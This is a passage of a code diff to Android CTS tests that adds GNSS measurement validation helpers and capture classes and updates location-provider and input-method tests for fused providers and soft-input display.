+++ b/tests/inputmethod/testapp/src/android/view/inputmethod/ctstestapp/MainActivity.java
@@ -18,7 +18,6 @@
import static android.view.WindowManager.LayoutParams.FLAG_ALT_FOCUSABLE_IM;
import static android.view.WindowManager.LayoutParams.SOFT_INPUT_ADJUST_PAN;
import static android.view.WindowManager.LayoutParams.SOFT_INPUT_ADJUST_RESIZE;
-import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_VISIBLE;
import android.app.Activity;
import android.app.AlertDialog;
@@ -31,12 +30,13 @@
import android.os.Handler;
import android.os.Looper;
import android.view.Gravity;
-import android.widget.EditText;
import android.widget.LinearLayout;
import android.widget.TextView;
import androidx.annotation.Nullable;
+import com.android.compatibility.common.util.ImeAwareEditText;
+
/**
* A test {@link Activity} that automatically shows the input method.
*/
@@ -95,22 +95,22 @@
textView.setText("This is DialogActivity");
layout.addView(textView);
- mDialog= new AlertDialog.Builder(this)
+ mDialog = new AlertDialog.Builder(this)
.setView(new LinearLayout(this))
.create();
mDialog.getWindow().addFlags(FLAG_ALT_FOCUSABLE_IM);
mDialog.getWindow().setSoftInputMode(SOFT_INPUT_ADJUST_PAN);
mDialog.show();
} else {
- final EditText editText = new EditText(this);
+ final ImeAwareEditText editText = new ImeAwareEditText(this);
editText.setHint("editText");
final String privateImeOptions = getStringIntentExtra(EXTRA_KEY_PRIVATE_IME_OPTIONS);
if (privateImeOptions != null) {
editText.setPrivateImeOptions(privateImeOptions);
}
editText.requestFocus();
+ editText.scheduleShowSoftInput();
layout.addView(editText);
- getWindow().setSoftInputMode(SOFT_INPUT_STATE_ALWAYS_VISIBLE);
}
setContentView(layout);
diff --git a/tests/location/common/src/android/location/cts/common/TestLocationManager.java b/tests/location/common/src/android/location/cts/common/TestLocationManager.java
index e9b598b..581a107 100644
--- a/tests/location/common/src/android/location/cts/common/TestLocationManager.java
+++ b/tests/location/common/src/android/location/cts/common/TestLocationManager.java
@@ -17,6 +17,7 @@
package android.location.cts.common;
import android.content.Context;
+import android.location.GnssMeasurementRequest;
import android.location.GnssMeasurementsEvent;
import android.location.GnssNavigationMessage;
import android.location.GnssRequest;
@@ -109,6 +110,24 @@
}
/**
+ * See {@link android.location.LocationManager#registerGnssMeasurementsCallback
+ * (GnssMeasurementsEvent.Callback callback)}
+ *
+ * @param callback the listener to add
+ */
+ public void registerGnssMeasurementCallback(GnssMeasurementsEvent.Callback callback,
+ GnssMeasurementRequest request) {
+ Log.i(TAG, "Add Gnss Measurement Callback. enableFullTracking=" + request);
+ boolean measurementListenerAdded =
+ mLocationManager.registerGnssMeasurementsCallback(request, Runnable::run, callback);
+ if (!measurementListenerAdded) {
+ // Registration of GnssMeasurements listener has failed, this indicates a platform bug.
+ Log.i(TAG, TestMeasurementUtil.REGISTRATION_ERROR_MESSAGE);
+ Assert.fail(TestMeasurementUtil.REGISTRATION_ERROR_MESSAGE);
+ }
+ }
+
+ /**
* Request GNSS location updates with {@code LocationRequest#setLowPowerMode()} enabled.
*
* See {@code LocationManager#requestLocationUpdates}.
diff --git a/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java b/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java
index afb5785..7c5afae 100644
--- a/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java
+++ b/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java
@@ -16,20 +16,23 @@
package android.location.cts.common;
+import static org.junit.Assert.assertNotNull;
+
import android.content.Context;
import android.content.pm.PackageManager;
+import android.location.CorrelationVector;
import android.location.GnssClock;
import android.location.GnssMeasurement;
import android.location.GnssMeasurementsEvent;
import android.location.GnssNavigationMessage;
import android.location.GnssStatus;
import android.location.LocationManager;
+import android.location.SatellitePvt;
import android.util.Log;
-import com.android.compatibility.common.util.ApiLevelUtil;
-
import java.util.ArrayList;
import java.util.Arrays;
+import java.util.Collection;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
@@ -89,31 +92,17 @@
/**
* Check if test can be run on the current device.
*
- * @param androidSdkVersionCode must be from {@link android.os.Build.VERSION_CODES}
* @param testLocationManager TestLocationManager
* @return true if Build.VERSION >= {@code androidSdkVersionCode} and Location GPS present on
* device.
*/
- public static boolean canTestRunOnCurrentDevice(int androidSdkVersionCode,
- TestLocationManager testLocationManager,
+ public static boolean canTestRunOnCurrentDevice(TestLocationManager testLocationManager,
String testTag) {
- if (ApiLevelUtil.isBefore(androidSdkVersionCode)) {
- Log.i(testTag, "This test is designed to work on API level " +
- androidSdkVersionCode + " or newer. " +
- "Test is being skipped because the platform version is being run in " +
- ApiLevelUtil.getApiLevel());
- return false;
- }
-
// If device does not have a GPS, skip the test.
if (!TestUtils.deviceHasGpsFeature(testLocationManager.getContext())) {
return false;
}
- // If device has a GPS, but it's turned off in settings, and this is CTS verifier,
- // fail the test now, because there's no point in going further.
- // If this is CTS only,we'll warn instead, and quickly pass the test.
- // (Cts non-verifier deep-indoors-forgiveness happens later, *if* needed)
boolean gpsProviderEnabled = testLocationManager.getLocationManager()
.isProviderEnabled(LocationManager.GPS_PROVIDER);
SoftAssert.failOrWarning(true, " GPS location disabled on the device. "
@@ -314,7 +303,98 @@
measurement.getAutomaticGainControlLevelDb() >= -100
&& measurement.getAutomaticGainControlLevelDb() <= 100);
}
+ }
+ /**
+ * Assert all SystemApi fields in Gnss Measurement are in expected range.
+ *
+ * @param testLocationManager TestLocationManager
+ * @param measurement GnssMeasurement
+ * @param softAssert custom SoftAssert
+ * @param timeInNs event time in ns
+ * @param requireCorrVec assert correlation vectors outputs
+ * @param requireSatPvt assert satellite PVT outputs
+ */
+ public static void assertAllGnssMeasurementSystemFields(
+ TestLocationManager testLocationManager, GnssMeasurement measurement,
+ SoftAssert softAssert, long timeInNs, boolean requireCorrVec, boolean requireSatPvt) {
+
+ if (requireCorrVec) {
+ softAssert.assertTrue("GnssMeasurement must has correlation vectors",
+ timeInNs,
+ "measurement.hasCorrelationVectors() == true",
+ String.valueOf(measurement.hasCorrelationVectors()),
+ measurement.hasCorrelationVectors());
+ }
+ if (measurement.hasCorrelationVectors()) {
+ verifyCorrelationVectors(measurement, softAssert, timeInNs);
+ }
+
+ if (requireSatPvt) {
+ softAssert.assertTrue("GnssMeasurement must has satellite PVT",
+ timeInNs,
+ "measurement.hasSatellitePvt() == true",
+ String.valueOf(measurement.hasSatellitePvt()),
+ measurement.hasSatellitePvt());
+ }
+ if (measurement.hasSatellitePvt()) {
+ verifySatellitePvt(measurement, softAssert, timeInNs);
+ }
+ }
+
+ /**
+ * Verify correlation vectors are in expected range.
+ *
+ * @param measurement GnssMeasurement
+ * @param softAssert custom SoftAssert
+ * @param timeInNs event time in ns
+ */
+ private static void verifyCorrelationVectors(GnssMeasurement measurement,
+ SoftAssert softAssert, long timeInNs) {
+ Collection<CorrelationVector> correlationVectors =
+ measurement.getCorrelationVectors();
+ assertNotNull("CorrelationVectors cannot be null.", correlationVectors);
+ softAssert.assertTrue("CorrelationVectors count",
+ timeInNs,
+ "X > 0",
+ String.valueOf(correlationVectors.size()),
+ correlationVectors.size() > 0);
+ for (CorrelationVector correlationVector : correlationVectors) {
+ assertNotNull("CorrelationVector cannot be null.", correlationVector);
+ int[] magnitude = correlationVector.getMagnitude();
+ softAssert.assertTrue("frequency_offset_mps : "
+ + "Frequency offset from reported pseudorange rate "
+ + "for this CorrelationVector",
+ timeInNs,
+ "X >= 0",
+ String.valueOf(correlationVector.getFrequencyOffsetMetersPerSecond()),
+ correlationVector.getFrequencyOffsetMetersPerSecond() >= 0);
+ softAssert.assertTrue("sampling_width_m : "
+ + "The space between correlation samples in meters",
+ timeInNs,
+ "X > 0.0",
+ String.valueOf(correlationVector.getSamplingWidthMeters()),
+ correlationVector.getSamplingWidthMeters() > 0.0);
+ softAssert.assertTrue("frequency_offset_mps : "
+ + "Offset of the first sampling bin in meters",
+ timeInNs,
+ "X >= 0.0",
+ String.valueOf(correlationVector.getSamplingStartMeters()),
+ correlationVector.getSamplingStartMeters() >= 0.0);
+ softAssert.assertTrue("Magnitude count",
+ timeInNs,
+ "X > 0",
+ String.valueOf(magnitude.length),
+ magnitude.length > 0);
+ for (int value : magnitude) {
+ softAssert.assertTrue("magnitude : Data representing normalized "
+ + "correlation magnitude values",
+ timeInNs,
+ "-32768 <= X < 32767",
+ String.valueOf(value),
+ value >= -32768 && value < 32767);
+ }
+ }
}
/**
@@ -892,4 +972,71 @@
}
return GnssBand.GNSS_L1; // default to L1 band
}
+
+ /**
+ * Assert most of the fields in Satellite PVT are in expected range.
+ *
+ * @param measurement GnssMeasurement
+ * @param softAssert custom SoftAssert
+ * @param timeInNs event time in ns
+ */
+ private static void verifySatellitePvt(GnssMeasurement measurement,
+ SoftAssert softAssert, long timeInNs) {
+ SatellitePvt satellitePvt = measurement.getSatellitePvt();
+ assertNotNull("SatellitePvt cannot be null when HAS_SATELLITE_PVT is true.", satellitePvt);
+ softAssert.assertTrue("x_meters : "
+ + "Satellite position X in WGS84 ECEF (meters)",
+ timeInNs,
+ "-43000000 <= X <= 43000000",
+ String.valueOf(satellitePvt.getPositionEcef().getXMeters()),
+ satellitePvt.getPositionEcef().getXMeters() >= -43000000 &&
+ satellitePvt.getPositionEcef().getXMeters() <= 43000000);
+ softAssert.assertTrue("y_meters : "
+ + "Satellite position Y in WGS84 ECEF (meters)",
+ timeInNs,
+ "-43000000 <= X <= 43000000",
+ String.valueOf(satellitePvt.getPositionEcef().getYMeters()),
+ satellitePvt.getPositionEcef().getYMeters() >= -43000000 &&
+ satellitePvt.getPositionEcef().getYMeters() <= 43000000);
+ softAssert.assertTrue("z_meters : "
+ + "Satellite position Z in WGS84 ECEF (meters)",
+ timeInNs,
+ "-43000000 <= X <= 43000000",
+ String.valueOf(satellitePvt.getPositionEcef().getZMeters()),
+ satellitePvt.getPositionEcef().getZMeters() >= -43000000 &&
+ satellitePvt.getPositionEcef().getZMeters() <= 43000000);
+ softAssert.assertTrue("ure_meters : "
+ + "The Signal in Space User Range Error (URE) (meters)",
+ timeInNs,
+ "X > 0",
+ String.valueOf(satellitePvt.getPositionEcef().getUreMeters()),
+ satellitePvt.getPositionEcef().getUreMeters() > 0);
+ softAssert.assertTrue("x_mps : "
+ + "Satellite velocity X in WGS84 ECEF (meters per second)",
+ timeInNs,
+ "-4000 <= X <= 4000",
+ String.valueOf(satellitePvt.getVelocityEcef().getXMetersPerSecond()),
+ satellitePvt.getVelocityEcef().getXMetersPerSecond() >= -4000 &&
+ satellitePvt.getVelocityEcef().getXMetersPerSecond() <= 4000);
+ softAssert.assertTrue("y_mps : "
+ + "Satellite velocity Y in WGS84 ECEF (meters per second)",
+ timeInNs,
+ "-4000 <= X <= 4000",
+ String.valueOf(satellitePvt.getVelocityEcef().getYMetersPerSecond()),
+ satellitePvt.getVelocityEcef().getYMetersPerSecond() >= -4000 &&
+ satellitePvt.getVelocityEcef().getYMetersPerSecond() <= 4000);
+ softAssert.assertTrue("z_mps : "
+ + "Satellite velocity Z in WGS84 ECEF (meters per second)",
+ timeInNs,
+ "-4000 <= X <= 4000",
+ String.valueOf(satellitePvt.getVelocityEcef().getZMetersPerSecond()),
+ satellitePvt.getVelocityEcef().getZMetersPerSecond() >= -4000 &&
+ satellitePvt.getVelocityEcef().getZMetersPerSecond() <= 4000);
+ softAssert.assertTrue("ure_rate_mps : "
+ + "The Signal in Space User Range Error Rate (URE Rate) (meters per second)",
+ timeInNs,
+ "X > 0",
+ String.valueOf(satellitePvt.getVelocityEcef().getUreRateMetersPerSecond()),
+ satellitePvt.getVelocityEcef().getUreRateMetersPerSecond() > 0);
+ }
}
diff --git a/tests/location/common/src/android/location/cts/common/gnss/GnssAntennaInfoCapture.java b/tests/location/common/src/android/location/cts/common/gnss/GnssAntennaInfoCapture.java
new file mode 100644
index 0000000..484f67c
--- /dev/null
+++ b/tests/location/common/src/android/location/cts/common/gnss/GnssAntennaInfoCapture.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.common.gnss;
+
+import android.content.Context;
+import android.location.GnssAntennaInfo;
+import android.location.Location;
+import android.location.LocationListener;
+import android.location.LocationManager;
+
+import androidx.annotation.NonNull;
+
+import java.util.List;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class GnssAntennaInfoCapture implements GnssAntennaInfo.Listener, AutoCloseable {
+
+ private final LocationManager mLocationManager;
+ private final LinkedBlockingQueue<List<GnssAntennaInfo>> mAntennaInfo;
+
+ public GnssAntennaInfoCapture(Context context) {
+ mLocationManager = context.getSystemService(LocationManager.class);
+ mAntennaInfo = new LinkedBlockingQueue<>();
+ }
+
+ public List<GnssAntennaInfo> getNextAntennaInfo(long timeoutMs) throws InterruptedException {
+ return mAntennaInfo.poll(timeoutMs, TimeUnit.MILLISECONDS);
+ }
+
+ @Override
+ public void onGnssAntennaInfoReceived(List<GnssAntennaInfo> gnssAntennaInfos) {
+ mAntennaInfo.add(gnssAntennaInfos);
+ }
+
+ @Override
+ public void close() {
+ mLocationManager.unregisterAntennaInfoListener(this);
+ }
+}
\ No newline at end of file
diff --git a/tests/location/common/src/android/location/cts/common/gnss/GnssMeasurementsCapture.java b/tests/location/common/src/android/location/cts/common/gnss/GnssMeasurementsCapture.java
new file mode 100644
index 0000000..bc3c717
--- /dev/null
+++ b/tests/location/common/src/android/location/cts/common/gnss/GnssMeasurementsCapture.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.common.gnss;
+
+import android.content.Context;
+import android.location.GnssMeasurementsEvent;
+import android.location.LocationManager;
+
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class GnssMeasurementsCapture extends GnssMeasurementsEvent.Callback implements AutoCloseable {
+
+ private final LocationManager mLocationManager;
+ private final LinkedBlockingQueue<GnssMeasurementsEvent> mMeasurements;
+ private final LinkedBlockingQueue<Integer> mStatuses;
+
+ public GnssMeasurementsCapture(Context context) {
+ mLocationManager = context.getSystemService(LocationManager.class);
+ mMeasurements = new LinkedBlockingQueue<>();
+ mStatuses = new LinkedBlockingQueue<>();
+ }
+
+ public GnssMeasurementsEvent getNextMeasurements(long timeoutMs) throws InterruptedException {
+ return mMeasurements.poll(timeoutMs, TimeUnit.MILLISECONDS);
+ }
+
+ public Integer getNextStatus(long timeoutMs) throws InterruptedException {
+ return mStatuses.poll(timeoutMs, TimeUnit.MILLISECONDS);
+ }
+
+ @Override
+ public void onGnssMeasurementsReceived(GnssMeasurementsEvent event) {
+ mMeasurements.add(event);
+ }
+
+ @Override
+ public void onStatusChanged(int status) {
+ mStatuses.add(status);
+ }
+
+ @Override
+ public void close() {
+ mLocationManager.unregisterGnssMeasurementsCallback(this);
+ }
+}
\ No newline at end of file
diff --git a/tests/location/common/src/android/location/cts/common/gnss/GnssNavigationMessageCapture.java b/tests/location/common/src/android/location/cts/common/gnss/GnssNavigationMessageCapture.java
new file mode 100644
index 0000000..3051170
--- /dev/null
+++ b/tests/location/common/src/android/location/cts/common/gnss/GnssNavigationMessageCapture.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.common.gnss;
+
+import android.content.Context;
+import android.location.GnssNavigationMessage;
+import android.location.LocationManager;
+
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class GnssNavigationMessageCapture extends GnssNavigationMessage.Callback implements AutoCloseable {
+
+ private final LocationManager mLocationManager;
+ private final LinkedBlockingQueue<GnssNavigationMessage> mNavigationMessages;
+ private final LinkedBlockingQueue<Integer> mStatuses;
+
+ public GnssNavigationMessageCapture(Context context) {
+ mLocationManager = context.getSystemService(LocationManager.class);
+ mNavigationMessages = new LinkedBlockingQueue<>();
+ mStatuses = new LinkedBlockingQueue<>();
+ }
+
+ public GnssNavigationMessage getNextNavigationMessage(long timeoutMs) throws InterruptedException {
+ return mNavigationMessages.poll(timeoutMs, TimeUnit.MILLISECONDS);
+ }
+
+ public Integer getNextStatus(long timeoutMs) throws InterruptedException {
+ return mStatuses.poll(timeoutMs, TimeUnit.MILLISECONDS);
+ }
+
+ public void onGnssNavigationMessageReceived(GnssNavigationMessage message) {
+ mNavigationMessages.add(message);
+ }
+
+ @Override
+ public void onStatusChanged(int status) {
+ mStatuses.add(status);
+ }
+
+ @Override
+ public void close() {
+ mLocationManager.unregisterGnssNavigationMessageCallback(this);
+ }
+}
\ No newline at end of file
diff --git a/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java b/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java
index 83350a9..05b7557 100644
--- a/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java
+++ b/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java
@@ -239,7 +239,15 @@
@Test
public void testGetBestProvider() {
- // prevent network provider from matching
+ Criteria criteria = new Criteria();
+ criteria.setAccuracy(Criteria.ACCURACY_COARSE);
+ criteria.setPowerRequirement(Criteria.POWER_MEDIUM);
+
+ if (mManager.getProvider(FUSED_PROVIDER) != null) {
+ assertEquals(FUSED_PROVIDER, mManager.getBestProvider(criteria, false));
+ }
+
+ // prevent network + fused provider from matching
mManager.addTestProvider(NETWORK_PROVIDER,
true,
false,
@@ -250,10 +258,16 @@
false,
Criteria.POWER_HIGH,
Criteria.ACCURACY_COARSE);
-
- Criteria criteria = new Criteria();
- criteria.setAccuracy(Criteria.ACCURACY_COARSE);
- criteria.setPowerRequirement(Criteria.POWER_MEDIUM);
+ mManager.addTestProvider(FUSED_PROVIDER,
+ true,
+ false,
+ true,
+ false,
+ false,
+ false,
+ false,
+ Criteria.POWER_HIGH,
+ Criteria.ACCURACY_COARSE);
String bestProvider = mManager.getBestProvider(criteria, false);
assertEquals(TEST_PROVIDER, bestProvider);
diff --git a/tests/location/location_fine/src/android/location/cts/fine/GnssAntennaInfoRegistrationTest.java b/tests/location/location_fine/src/android/location/cts/fine/GnssAntennaInfoRegistrationTest.java
deleted file mode 100644
index 5aa2bd3..0000000
--- a/tests/location/location_fine/src/android/location/cts/fine/GnssAntennaInfoRegistrationTest.java
+++ /dev/null
@@ -1,115 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.fine;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.junit.Assert.assertTrue;
-
-import android.content.Context;
-import android.location.GnssAntennaInfo;
-import android.location.LocationManager;
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-import androidx.test.core.app.ApplicationProvider;
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.List;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.Executors;
-import java.util.concurrent.TimeUnit;
-
-/**
- * End to end test of GNSS Antenna Info. Test first attempts to register a GNSS Antenna Info
- * Callback and then sleeps for a timeout period. The callback status is then checked. If the
- * status is not STATUS_READY, the test is skipped. Otherwise, the test proceeds. We verify that
- * the callback has been called and has received at least GnssAntennaInfo object.
- */
-@RunWith(AndroidJUnit4.class)
-public class GnssAntennaInfoRegistrationTest {
-
- private static final String TAG = "GnssAntennaInfoCallbackTest";
-
- private static final int ANTENNA_INFO_TIMEOUT_SEC = 10;
-
- private LocationManager mManager;
- private Context mContext;
- CountDownLatch mAntennaInfoReciept = new CountDownLatch(1);
-
- @Before
- public void setUp() throws Exception {
-
- mContext = ApplicationProvider.getApplicationContext();
- mManager = mContext.getSystemService(LocationManager.class);
-
- assertThat(mManager).isNotNull();
- }
-
- @After
- public void tearDown() throws Exception {
- }
-
- @Test
- public void testGnssAntennaInfoCallbackRegistration() {
- // TODO(skz): check that version code is greater than R
-
- if(!mManager.getGnssCapabilities().hasGnssAntennaInfo()) {
- // GnssAntennaInfo is not supported
- return;
- }
-
- TestGnssAntennaInfoListener listener = new TestGnssAntennaInfoListener();
-
- mManager.registerAntennaInfoListener(Executors.newSingleThreadExecutor(), listener);
- try {
- mAntennaInfoReciept.await(ANTENNA_INFO_TIMEOUT_SEC, TimeUnit.SECONDS);
- } catch (InterruptedException e) {
- Log.e(TAG, "Test was interrupted.");
- }
-
- listener.verifyRegistration();
-
- mManager.unregisterAntennaInfoListener(listener);
- }
-
- private class TestGnssAntennaInfoListener implements GnssAntennaInfo.Listener {
- private boolean receivedAntennaInfo = false;
- private int numResults = 0;
-
- @Override
- public void onGnssAntennaInfoReceived(@NonNull List<GnssAntennaInfo> gnssAntennaInfos) {
- receivedAntennaInfo = true;
- numResults = gnssAntennaInfos.size();
- mAntennaInfoReciept.countDown();
-
- for (GnssAntennaInfo gnssAntennaInfo: gnssAntennaInfos) {
- Log.d(TAG, gnssAntennaInfo.toString() + "\n");
- }
- }
-
- public void verifyRegistration() {
- assertTrue(receivedAntennaInfo);
- assertThat(numResults).isGreaterThan(0);
- }
- }
-}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
index 2aa7b15..67ba4d0 100644
--- a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
+++ b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
@@ -47,9 +47,7 @@
import android.app.PendingIntent;
import android.content.Context;
import android.content.Intent;
-import android.content.pm.PackageManager;
import android.location.Criteria;
-import android.location.GnssAntennaInfo;
import android.location.GnssMeasurementsEvent;
import android.location.GnssNavigationMessage;
import android.location.GnssStatus;
@@ -63,6 +61,9 @@
import android.location.cts.common.GetCurrentLocationCapture;
import android.location.cts.common.LocationListenerCapture;
import android.location.cts.common.LocationPendingIntentCapture;
+import android.location.cts.common.gnss.GnssAntennaInfoCapture;
+import android.location.cts.common.gnss.GnssMeasurementsCapture;
+import android.location.cts.common.gnss.GnssNavigationMessageCapture;
import android.os.HandlerThread;
import android.os.Looper;
import android.os.PowerManager;
@@ -162,6 +163,10 @@
mManager.setTestProviderEnabled(TEST_PROVIDER, true);
assertThat(mManager.isProviderEnabled(TEST_PROVIDER)).isTrue();
+ for (String provider : mManager.getAllProviders()) {
+ mManager.isProviderEnabled(provider);
+ }
+
try {
mManager.isProviderEnabled(null);
fail("Should throw IllegalArgumentException if provider is null!");
@@ -803,7 +808,7 @@
@Test
@AppModeFull(reason = "Instant apps can't hold ACCESS_LOCATION_EXTRA_COMMANDS permission")
public void testRequestGpsUpdates_B9758659() throws Exception {
- assumeTrue(hasGpsFeature());
+ assumeTrue(mManager.hasProvider(GPS_PROVIDER));
// test for b/9758659, where the gps provider may reuse network provider positions creating
// an unnatural feedback loop
@@ -1015,7 +1020,7 @@
@Test
public void testGetAllProviders() {
List<String> providers = mManager.getAllProviders();
- if (hasGpsFeature()) {
+ if (mManager.hasProvider(GPS_PROVIDER)) {
assertThat(providers.contains(LocationManager.GPS_PROVIDER)).isTrue();
}
assertThat(providers.contains(PASSIVE_PROVIDER)).isTrue();
@@ -1071,7 +1076,9 @@
Criteria criteria = new Criteria();
String bestProvider = mManager.getBestProvider(criteria, false);
- if (allProviders.contains(GPS_PROVIDER)) {
+ if (allProviders.contains(FUSED_PROVIDER)) {
+ assertThat(bestProvider).isEqualTo(FUSED_PROVIDER);
+ } else if (allProviders.contains(GPS_PROVIDER)) {
assertThat(bestProvider).isEqualTo(GPS_PROVIDER);
} else if (allProviders.contains(NETWORK_PROVIDER)) {
assertThat(bestProvider).isEqualTo(NETWORK_PROVIDER);
@@ -1091,6 +1098,16 @@
true,
Criteria.POWER_LOW,
Criteria.ACCURACY_FINE);
+ mManager.addTestProvider(FUSED_PROVIDER,
+ true,
+ false,
+ true,
+ false,
+ false,
+ false,
+ false,
+ Criteria.POWER_HIGH,
+ Criteria.ACCURACY_COARSE);
criteria.setAccuracy(Criteria.ACCURACY_FINE);
criteria.setPowerRequirement(Criteria.POWER_LOW);
@@ -1107,13 +1124,15 @@
assertThat(provider.getName()).isEqualTo(TEST_PROVIDER);
provider = mManager.getProvider(LocationManager.GPS_PROVIDER);
- if (hasGpsFeature()) {
+ if (mManager.hasProvider(GPS_PROVIDER)) {
assertThat(provider).isNotNull();
assertThat(provider.getName()).isEqualTo(LocationManager.GPS_PROVIDER);
} else {
assertThat(provider).isNull();
}
+ assertThat(mManager.getProvider("fake")).isNull();
+
try {
mManager.getProvider(null);
fail("Should throw IllegalArgumentException when provider is null!");
@@ -1123,6 +1142,29 @@
}
@Test
+ public void testHasProvider() {
+ for (String provider : mManager.getAllProviders()) {
+ assertThat(mManager.hasProvider(provider)).isTrue();
+ }
+
+ assertThat(mManager.hasProvider("fake")).isFalse();
+ }
+
+ @Test
+ public void testGetProviderProperties() {
+ for (String provider : mManager.getAllProviders()) {
+ mManager.getProviderProperties(provider);
+ }
+
+ try {
+ mManager.getProviderProperties("fake");
+ fail("Should throw IllegalArgumentException for non-existent provider");
+ } catch (IllegalArgumentException e) {
+ // expected
+ }
+ }
+
+ @Test
@AppModeFull(reason = "Instant apps can't hold ACCESS_LOCATION_EXTRA_COMMANDS permission")
public void testSendExtraCommand() {
for (String provider : mManager.getAllProviders()) {
@@ -1345,14 +1387,20 @@
}
@Test
+ public void testGetGnssCapabilities() {
+ assumeTrue(mManager.hasProvider(GPS_PROVIDER));
+ assertThat(mManager.getGnssCapabilities()).isNotNull();
+ }
+
+ @Test
public void testGetGnssYearOfHardware() {
- assumeTrue(hasGpsFeature());
+ assumeTrue(mManager.hasProvider(GPS_PROVIDER));
mManager.getGnssYearOfHardware();
}
@Test
public void testGetGnssHardwareModelName() {
- assumeTrue(hasGpsFeature());
+ assumeTrue(mManager.hasProvider(GPS_PROVIDER));
// model name should be longer than 4 characters
String gnssHardwareModelName = mManager.getGnssHardwareModelName();
@@ -1366,6 +1414,16 @@
}
@Test
+ public void testGetGnssAntennaInfos() {
+ assumeTrue(mManager.hasProvider(GPS_PROVIDER));
+ if (mManager.getGnssCapabilities().hasAntennaInfo()) {
+ assertThat(mManager.getGnssAntennaInfos()).isNotNull();
+ } else {
+ assertThat(mManager.getGnssAntennaInfos()).isNull();
+ }
+ }
+
+ @Test
public void testRegisterGnssStatusCallback() {
GnssStatus.Callback callback = new GnssStatus.Callback() {
};
@@ -1384,33 +1442,33 @@
}
@Test
- public void testRegisterGnssMeasurementsCallback() {
- GnssMeasurementsEvent.Callback callback = new GnssMeasurementsEvent.Callback() {
- };
+ public void testRegisterGnssMeasurementsCallback() throws Exception {
+ try (GnssMeasurementsCapture capture = new GnssMeasurementsCapture(mContext)) {
+ mManager.registerGnssMeasurementsCallback(Runnable::run, capture);
- mManager.registerGnssMeasurementsCallback(Executors.newSingleThreadExecutor(), callback);
- mManager.unregisterGnssMeasurementsCallback(callback);
+ // test deprecated status messages
+ Integer status = capture.getNextStatus(TIMEOUT_MS);
+ assertThat(status).isNotNull();
+ assertThat(status).isEqualTo(GnssMeasurementsEvent.Callback.STATUS_READY);
+ }
}
@Test
public void testRegisterGnssAntennaInfoCallback() {
- GnssAntennaInfo.Listener listener = (gnssAntennaInfos) -> {};
-
- mManager.registerAntennaInfoListener(Executors.newSingleThreadExecutor(), listener);
- mManager.unregisterAntennaInfoListener(listener);
+ try (GnssAntennaInfoCapture capture = new GnssAntennaInfoCapture(mContext)) {
+ mManager.registerAntennaInfoListener(Runnable::run, capture);
+ }
}
@Test
- public void testRegisterGnssNavigationMessageCallback() {
- GnssNavigationMessage.Callback callback = new GnssNavigationMessage.Callback() {
- };
+ public void testRegisterGnssNavigationMessageCallback() throws Exception {
+ try (GnssNavigationMessageCapture capture = new GnssNavigationMessageCapture(mContext)) {
+ mManager.registerGnssNavigationMessageCallback(Runnable::run, capture);
- mManager.registerGnssNavigationMessageCallback(Executors.newSingleThreadExecutor(), callback);
